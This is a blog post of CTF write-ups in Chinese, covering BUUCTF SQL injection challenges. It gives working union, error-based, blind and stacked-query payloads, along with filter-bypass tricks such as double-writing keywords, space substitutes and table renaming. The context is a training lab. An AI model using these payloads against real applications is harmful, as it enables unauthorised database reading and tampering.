R0ot's Blog

分享代码,记录生活

0%

buu刷题之sql注入

经过一段时间的学习,开始刷题之旅,题目都来自BUUCTF平台
大致分为简单,签到,中等三个等级(困难的还做不出~~~),每道题写个wp

简单难度

简单难度大概就是新生赛的难度

[极客大挑战 2019]LoveSQL


进入靶机很容易发现是SQL注入
两个传参为?username&password
尝试丢单引号,发现报错,确定为注入点

丢个%23(#)进去,报错消失,证明为单引号闭合
常规group by爆出3列
常规union注入,发现有回显!

无过滤,有回显,直接走流程
pyload

1
?username=admin&password=admin'union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

[极客大挑战 2019]BabySQL


进入靶机,提示有过滤
丢单引号,尝试丢单引号,发现报错,确定为注入点,丢个%23(#)进去,报错消失,证明为单引号闭合
常规group by发现报错

提示表明错误发生在3#附近,猜测是by被替换为空了,尝试双写绕过,成功!(3列)
这边心急直接丢进去查表名

1
union select group_concat(table_name) from information_schema.tables where table_schema=database()


这个报错非常明显了,也是替换成空格,对比payload和报错信息,少掉的部分就是被过滤的
过滤的关键词有union,select,from,or,where,from,and
其他非常常规的走流程
payload

1
?username=admin&password='uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql%23

[极客大挑战 2019]HardSQL

和前两题是一样的,找到注入点,判断单引号闭合
丢入group by 3时,提示

明显是有东西触发过滤了(被发现了)
尝试写成group b,还是不行
尝试写成grou b,还是不行
单传一个空格,发现还是被逮住了,看来是过滤了空格,那我们直接上连接
找到一个%A0可以代替空格且没有过滤!
那尝试union注入,结果发现,union被过滤了…
那就直接上报错注入(无空格版)
and(1=extractvalue(100,concat(0x7e,(插入以下语句))))
还是被逮住,可能是and被过滤,删掉and,还是被逮住,可能是=被过滤
感觉出题人故意留了个后面一样…..or没有被过滤,其实想想也可以知道,要是or被过滤了,那information_schema也用不了
那就?username=admin&password=admin'or(extractvalue(100,concat(0x7e,(database()))))%23成功爆出
上payload

1
'or(extractvalue(100,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))))))%23

这里要知道a=b可以用(a)like(b)绕过
前面都还常规,逐渐报表名,爆列名,到最后一步
'or(extractvalue(100,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)))))%23
得到~1flagflag{1669770e-dd70-4617-9f,flag出来了一半,因为报错注入的字数是有限制的
尝试使用
select(substring(group_concat(password),1,30))from(H4rDsq1)
居然还是被逮住了,看来是过滤了substring,那就上链接
使用right代替substring
另一半flag出来的payload:
'or(extractvalue(100,concat(0x7e,(select(right(password,30))from(H4rDsq1)))))%23

[GXYCTF2019]BabySQli

呃呃,这道题考了多种加密方式,没见到过真是令人头疼
关于SQL这边考了一个临时虚拟表的知识点
mysql有这样的一个特性

重新回到这个题目上,题目名已经指明了是sql,进去是个简单的表单,根据我个人的习惯,先丢两个admin进去看看
这边提示wrong pass!,用post传参name&pw

没啥思路,就尝试找注入点,最后再参数name丢入单引号引起报错,证明这边存在注入点,且可以闭合
然后尝试常规注入,发现do not hack me!,看来是有过滤

试了一下,or,圆括号,=被过滤,而且没有回显,虽然or可以大写绕过,=可以用like绕过,但是括号被过滤了…..报错注入肯定要括号,盲注要括号,union注入没回显,好吧,常规思路全部不行

那就只能,看一下源代码,抓一下包看看有没有提示了
果然,源码有提示

但是被加密过了………………..见得太少了,不知道什么加密,去搜wp,原来是base32
解码后

还是加密过的,但是这个比较眼熟,应该是base64,解码后得到
select * from user where username = '$name'
说实话看着还是有点懵,是想提示我们,账号和密码是分别查询的吗
再看看页面wrong pass!,有可能admin就是正确的账号
admin改成ad,提示wrong user!,那应该就是了,账号密码是两个查询语句,先查询有没有这个账户,如果有就查询密码,如果密码正确就登入,应该是这样的一个思路
我们利用创建虚拟表的特性,可以给表中增加一条数据admin:123,同时传入密码,就可以成功登入了
通过select逐渐添加列数,可以知道一共是有三列,这时候我们需要判断,哪一列是账号,哪一列是密码(猜测为id,username,password的常见结构)
如果账号在错误的位置,会提示wrong user!,在正确的位置会提示wrong pass!,最后测出账号是第二列

payload
name=1'union select 1,'admin','123'#&pw=123没想到不对!!!
最后查阅wp才知道,这个密码经过了md5加密…,所以我们表中的数据也要是md5加密过的才能对得上
所以最终的payload
name=1'union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123

[CISCN2019 华北赛区 Day2 Web1]Hack World

进入界面,提示表名和字段名都是flag,只需要知道id就可以拿到了,传参就是id

简单提交一下,',发现提示bool(false),警觉,一下就要想到布尔盲注
然后试着#闭合一下,提示SQL Injection Checked.有过滤,测试了一下空格也被过滤了
那就试一下简单的数字1,2,发现是有结果的,输入其他字符都是提示bool(false)
那就试一下盲注吧(ps:其实可以布尔盲注的大部分都可以时间盲注,除了if被过滤的时候)
这里不知道什么闭合,但是注释符被过滤的情况下,会优先考虑一下是不是数字型(没有闭合)
尝试payloadid=if(1=1,sleep(2),0),页面转圈圈,果然,存在注入点,且无闭合
虽然时间盲注也可以做,但是按效率来说,还得是我布尔盲注,上脚本!,这里用到异或法实现真假的转化
payload:id=0^(ascii(substr((select(database())),1,1))>100),如果ascii条件为真,那就是0^1,结果还是1,这时候就会显示Hello, glzjin wants a girlfriend.,ascii条件为假,那就是0^0,结果为0,这时候显示Error Occured When Fetch Result.
因为表名和字段名已经知道了,直接使用无空格转态脚本跑就行
payload(这里group被过滤了,直接去掉就行)
id=0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})

签到难度

签到难度大概是一般比赛的常规题

[强网杯 2019]随便注

进入界面
丢个单引号试试,结果出现报错,丢入%23,恢复正常,存在注入点,且为单引号闭合
常规union select,结果提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);这个是一个正则表达,表示过滤了select,update,delete,drop,insert,wher,.
/i表示不区分大小写,常规的注入,遇到过滤select就完全行不通了,一般select被过滤最先想到的就是堆叠注入,当然也还要mysql8.0新特性这样的考点
这边尝试堆叠注入,发现可行
用常规的堆叠注入的思路就能做,这边要注意的是,使用?inject=1';show tables;%23爆出的表名是1919810931114514,这边需要使用一对反引号进行包裹`,才能正常查询

还有一种非常规思路,因为页面提供了一个可以查询数据库的语句,只要我们利用堆叠注入mysql语句,将需要查的表和字段名改成已有的表和数据名

payload

1
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#